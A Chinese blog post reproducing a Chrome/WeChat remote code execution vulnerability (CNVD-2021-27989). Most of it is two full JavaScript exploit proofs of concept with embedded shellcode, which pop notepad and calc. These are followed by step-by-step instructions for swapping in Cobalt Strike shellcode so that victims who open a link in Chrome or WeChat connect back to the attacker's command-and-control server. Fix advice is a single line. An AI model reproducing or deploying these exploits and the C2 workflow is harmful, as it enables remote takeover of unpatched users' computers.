谷歌浏览器远程代码执行漏洞(CNVD-2021-27989)

本文最后更新于:2023-01-29 17:03

前言

最近正值hw期间,大家都挺累的,也是0day漏洞爆发的时候。这两天,在群里看到有人说谷歌浏览器爆出了高危漏洞,微信也受影响,因为微信内置的也是chrome内核,并且开启了--no-sandbox参数,所以这个漏洞利用起来危害还是挺大的。

参考链接:

漏洞复现

最近 Google Chrome 浏览器被爆出存在远程代码执行漏洞(CNVD-2021-27989),攻击者只需要构造一个恶意的 html 页面诱导用户点击访问,就能实现对浏览器的远程代码执行攻击。但是攻击者单独利用该漏洞无法实现沙盒(SandBox)逃逸。沙盒是 Google Chrome 浏览器的安全边界,防止恶意攻击代码破坏用户系统或者浏览器其他页面。Google Chrome 浏览器默认开启沙盒保护模式。(来自InBug实验室描述)

漏洞影响范围:

  • Google Chrome < = 89.0.4389.114
  • 微信 <= 3.2.1.141

就2021年4月17日来说,漏洞影响范围还是相当广的,不管是chrome还是微信,都是除了最新版本,之前版本都包含在内。

测试环境:

chrome:版本 89.0.4389.90(正式版本) (64 位)
Windows server 2012
微信:3.1.0.72

复现过程

在验证漏洞之前,先要安装好chrome,并且在快捷方式里最后添加--no-sandbox,关闭谷歌浏览器的沙盒模式。

部分机器的目标这里两边可能有双引号包裹的现象,我没有深入学习,也没有找到解决方式,请自行查找。

我这边收集的漏洞poc有两版,没有用文章里的,下面这个poc个人测试能将chrome弹记事本,但是微信不能弹。之后的浏览器和微信在cs上线,用的全是第一个poc。

poc1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
<script>
function gc() {
for (var i = 0; i < 0x80000; ++i) {
var a = new ArrayBuffer();
}
}
let shellcode = [0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52,
0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED,
0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48,
0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1,
0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49,
0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A,
0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B,
0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x6E, 0x6F, 0x74, 0x65, 0x70,
0x61, 0x64, 0x2E, 0x65, 0x78, 0x65, 0x00];
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var main = wasmInstance.exports.main;
var bf = new ArrayBuffer(8);
var bfView = new DataView(bf);
function fLow(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(0, true));
}
function fHi(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(4, true))
}
function i2f(low, hi) {
bfView.setUint32(0, low, true);
bfView.setUint32(4, hi, true);
return bfView.getFloat64(0, true);
}
function f2big(f) {
bfView.setFloat64(0, f, true);
return bfView.getBigUint64(0, true);
}
function big2f(b) {
bfView.setBigUint64(0, b, true);
return bfView.getFloat64(0, true);
}
class LeakArrayBuffer extends ArrayBuffer {
constructor(size) {
super(size);
this.slot = 0xb33f;
}
}
function foo(a) {
let x = -1;
if (a) x = 0xFFFFFFFF;
var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
arr.shift();
let local_arr = Array(2);
local_arr[0] = 5.1;//4014666666666666
let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
arr[0] = 0x1122;
return [arr, local_arr, buff];
}
for (var i = 0; i < 0x10000; ++i)
foo(false);
gc(); gc();
[corrput_arr, rwarr, corrupt_buff] = foo(true);
corrput_arr[12] = 0x22444;
delete corrput_arr;
function setbackingStore(hi, low) {
rwarr[4] = i2f(fLow(rwarr[4]), hi);
rwarr[5] = i2f(low, fHi(rwarr[5]));
}
function leakObjLow(o) {
corrupt_buff.slot = o;
return (fLow(rwarr[9]) - 1);
}
let corrupt_view = new DataView(corrupt_buff);
let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
let idx0Addr = corrupt_buffer_ptr_low - 0x10;
let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
let delta = baseAddr + 0x1c - idx0Addr;
if ((delta % 8) == 0) {
let baseIdx = delta / 8;
this.base = fLow(rwarr[baseIdx]);
} else {
let baseIdx = ((delta - (delta % 8)) / 8);
this.base = fHi(rwarr[baseIdx]);
}
let wasmInsAddr = leakObjLow(wasmInstance);
setbackingStore(wasmInsAddr, this.base);
let code_entry = corrupt_view.getFloat64(13 * 8, true);
setbackingStore(fLow(code_entry), fHi(code_entry));
for (let i = 0; i < shellcode.length; i++) {
corrupt_view.setUint8(i, shellcode[i]);
}
main();
</script>

这个能在微信弹计算器,但是chrome却没有反应,不知道是因为啥。poc2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
<script type="text/javascript">
ENABLE_LOG = true;
IN_WORKER = true;

// run calc and hang in a loop
var shellcode = [0x89,0xe0,0xda,0xc1,0xd9,0x70,0xf4,0x5a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x43,0x43,0x43,0x43,0x43,0x43,0x37,0x52,0x59,0x6a,0x41,0x58,0x50,0x30,0x41,0x30,0x41,0x6b,0x41,0x41,0x51,0x32,0x41,0x42,0x32,0x42,0x42,0x30,0x42,0x42,0x41,0x42,0x58,0x50,0x38,0x41,0x42,0x75,0x4a,0x49,0x4b,0x4c,0x68,0x68,0x4e,0x62,0x57,0x70,0x45,0x50,0x55,0x50,0x61,0x70,0x4b,0x39,0x69,0x75,0x45,0x61,0x4b,0x70,0x71,0x74,0x6e,0x6b,0x66,0x30,0x44,0x70,0x6c,0x4b,0x53,0x62,0x74,0x4c,0x6c,0x4b,0x61,0x42,0x52,0x34,0x4c,0x4b,0x33,0x42,0x56,0x48,0x64,0x4f,0x4d,0x67,0x71,0x5a,0x47,0x56,0x65,0x61,0x39,0x6f,0x6e,0x4c,0x47,0x4c,0x31,0x71,0x51,0x6c,0x55,0x52,0x44,0x6c,0x55,0x70,0x5a,0x61,0x5a,0x6f,0x74,0x4d,0x43,0x31,0x58,0x47,0x78,0x62,0x38,0x72,0x36,0x32,0x76,0x37,0x6c,0x4b,0x66,0x32,0x56,0x70,0x4c,0x4b,0x30,0x4a,0x77,0x4c,0x6e,0x6b,0x52,0x6c,0x32,0x31,0x71,0x68,0x6d,0x33,0x73,0x78,0x57,0x71,0x7a,0x71,0x62,0x71,0x4e,0x6b,0x70,0x59,0x65,0x70,0x75,0x51,0x78,0x53,0x4e,0x6b,0x50,0x49,0x65,0x48,0x5a,0x43,0x64,0x7a,0x67,0x39,0x6e,0x6b,0x54,0x74,0x4c,0x4b,0x77,0x71,0x4b,0x66,0x46,0x51,0x39,0x6f,0x4e,0x4c,0x6a,0x61,0x38,0x4f,0x34,0x4d,0x47,0x71,0x59,0x57,0x55,0x68,0x39,0x70,0x54,0x35,0x4b,0x46,0x66,0x63,0x51,0x6d,0x49,0x68,0x67,0x4b,0x61,0x6d,0x51,0x34,0x70,0x75,0x38,0x64,0x62,0x78,0x6c,0x4b,0x73,0x68,0x55,0x74,0x77,0x71,0x49,0x43,0x42,0x46,0x6e,0x6b,0x66,0x6c,0x72,0x6b,0x4c,0x4b,0x42,0x78,0x75,0x4c,0x73,0x31,0x39,0x43,0x4c,0x4b,0x67,0x74,0x4e,0x6b,0x45,0x51,0x68,0x50,0x4d,0x59,0x62,0x64,0x36,0x44,0x66,0x44,0x63,0x6b,0x43,0x6b,0x70,0x61,0x72,0x79,0x43,0x6a,0x72,0x71,0x39,0x6f,0x79,0x70,0x33,0x6f,0x43,0x6f,0x32,0x7a,0x6c,0x4b,0x77,0x62,0x7a,0x4b,0x6c,0x4d,0x53,0x6d,0x52,0x4a,0x55,0x51,0x4e,0x6d,0x4d,0x55,0x6c,0x72,0x75,0x50,0x55,0x50,0x33,0x30,0x36,0x30,0x33,0x58,0x76,0x51,0x6c,0x4b,0x32,0x4f,0x6d,0x57,0x49,0x6f,0x5a,0x75,0x4f,0x4b,0x5a,0x50,0x4f,0x45,0x59,0x32,0x73,0x66,0x31,0x78,0x4d,0x76,0x6d,0x45,0x6f,0x4d,0x6d,0x4d,0x4b,0x4f,0x38,0x55,0x37,0x4c,0x46,0x66,0x73,0x4c,0x34,0x4a,0x4b,0x30,0x59,0x6b,0x79,0x70,0x50,0x75,0x55,0x55,0x4d,0x6b,0x32,0x67,0x64,0x53,0x54,0x32,0x72,0x4f,0x52,0x4a,0x53,0x30,0x31,0x43,0x69,0x6f,0x6b,0x65,0x31,0x73,0x51,0x71,0x32,0x4c,0x55,0x33,0x34,0x6e,0x55,0x35,0x44,0x38,0x30,0x65,0x63,0x30,0x41,0x41];
function print(data) {
}


var not_optimised_out = 0;
var target_function = (function (value) {
if (value == 0xdecaf0) {
not_optimised_out += 1;
}
not_optimised_out += 1;
not_optimised_out |= 0xff;
not_optimised_out *= 12;
});

for (var i = 0; i < 0x10000; ++i) {
target_function(i);
}


var g_array;
var tDerivedNCount = 17 * 87481 - 8;
var tDerivedNDepth = 19 * 19;

function cb(flag) {
if (flag == true) {
return;
}
g_array = new Array(0);
g_array[0] = 0x1dbabe * 2;
return 'c01db33f';
}

function gc() {
for (var i = 0; i < 0x10000; ++i) {
new String();
}
}

function oobAccess() {
var this_ = this;
this.buffer = null;
this.buffer_view = null;

this.page_buffer = null;
this.page_view = null;

this.prevent_opt = [];

var kSlotOffset = 0x1f;
var kBackingStoreOffset = 0xf;

class LeakArrayBuffer extends ArrayBuffer {
constructor() {
super(0x1000);
this.slot = this;
}
}

this.page_buffer = new LeakArrayBuffer();
this.page_view = new DataView(this.page_buffer);

new RegExp({ toString: function () { return 'a' } });
cb(true);

class DerivedBase extends RegExp {
constructor() {
// var array = null;
super(
// at this point, the 4-byte allocation for the JSRegExp `this` object
// has just happened.
{
toString: cb
}, 'g'
// now the runtime JSRegExp constructor is called, corrupting the
// JSArray.
);

// this allocation will now directly follow the FixedArray allocation
// made for `this.data`, which is where `array.elements` points to.
this_.buffer = new ArrayBuffer(0x80);
g_array[8] = this_.page_buffer;
}
}

// try{
var derived_n = eval(`(function derived_n(i) {
if (i == 0) {
return DerivedBase;
}

class DerivedN extends derived_n(i-1) {
constructor() {
super();
return;
${"this.a=0;".repeat(tDerivedNCount)}
}
}

return DerivedN;
})`);

gc();


new (derived_n(tDerivedNDepth))();

this.buffer_view = new DataView(this.buffer);
this.leakPtr = function (obj) {
this.page_buffer.slot = obj;
return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
}

this.setPtr = function (addr) {
this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
}

this.read32 = function (addr) {
this.setPtr(addr);
return this.page_view.getUint32(0, true, ...this.prevent_opt);
}

this.write32 = function (addr, value) {
this.setPtr(addr);
this.page_view.setUint32(0, value, true, ...this.prevent_opt);
}

this.write8 = function (addr, value) {
this.setPtr(addr);
this.page_view.setUint8(0, value, ...this.prevent_opt);
}

this.setBytes = function (addr, content) {
for (var i = 0; i < content.length; i++) {
this.write8(addr + i, content[i]);
}
}
return this;
}

function trigger() {
var oob = oobAccess();

var func_ptr = oob.leakPtr(target_function);
print('[*] target_function at 0x' + func_ptr.toString(16));

var kCodeInsOffset = 0x1b;

var code_addr = oob.read32(func_ptr + kCodeInsOffset);
print('[*] code_addr at 0x' + code_addr.toString(16));

oob.setBytes(code_addr, shellcode);

target_function(0);
}

try{
print("start running");
trigger();
}catch(e){
print(e);
}
</script>

微信弹框这个我看群里很多人复现失败,最开始我也失败,以为是版本原因有影响,就让大佬发了个微信弹计算器的poc(第二个poc),发现并不是版本的原因。

CS上线

chrome

使用Cobalt strike创建一个监听器,http的就行,然后生成c的poc,我是64位的浏览器,所以生成的poc勾选了s使用 x64 payload

之后将shellcode中的\,替换为,0。替换之后,注意最前面的,,将前面的,去掉。

将双引号内的内容复制到第一个poc的let shellcode行中括号中。保存为html文件,使用chrome打开,即可上线。

微信

通过微信点击URL链接,过程中会调用微信内置浏览器(chrome内核,并开启了–no-sandbox参数)。针对chrome漏洞利用的js代码成功执行后,shellcode将启动远控进程,最终获取该PC当前用户权限。

生成微信的poc时注意,生成的payload得是32位的,因为微信是32位的,因为这个问题我没注意卡了好久:happy:。

在微信里点击连接后,上线!

上线cs后,如果chrome或是微信进程停了,连接也就断了。

漏洞修复

chrome和微信均升级到最新版本。

我的微信最近自动更新老是失败,不知道为什么,这个漏洞的通过微信利用的话危害还是相当大的。

总结

复现过程中遇到坑很正常,在复现时,多注意细节。


谷歌浏览器远程代码执行漏洞(CNVD-2021-27989)
https://ahtoh.cn/2021/04/18/谷歌浏览器远程代码执行漏洞(CNVD-2021-27989)/
作者
ahtoh
发布于
2021-04-18 19:33
许可协议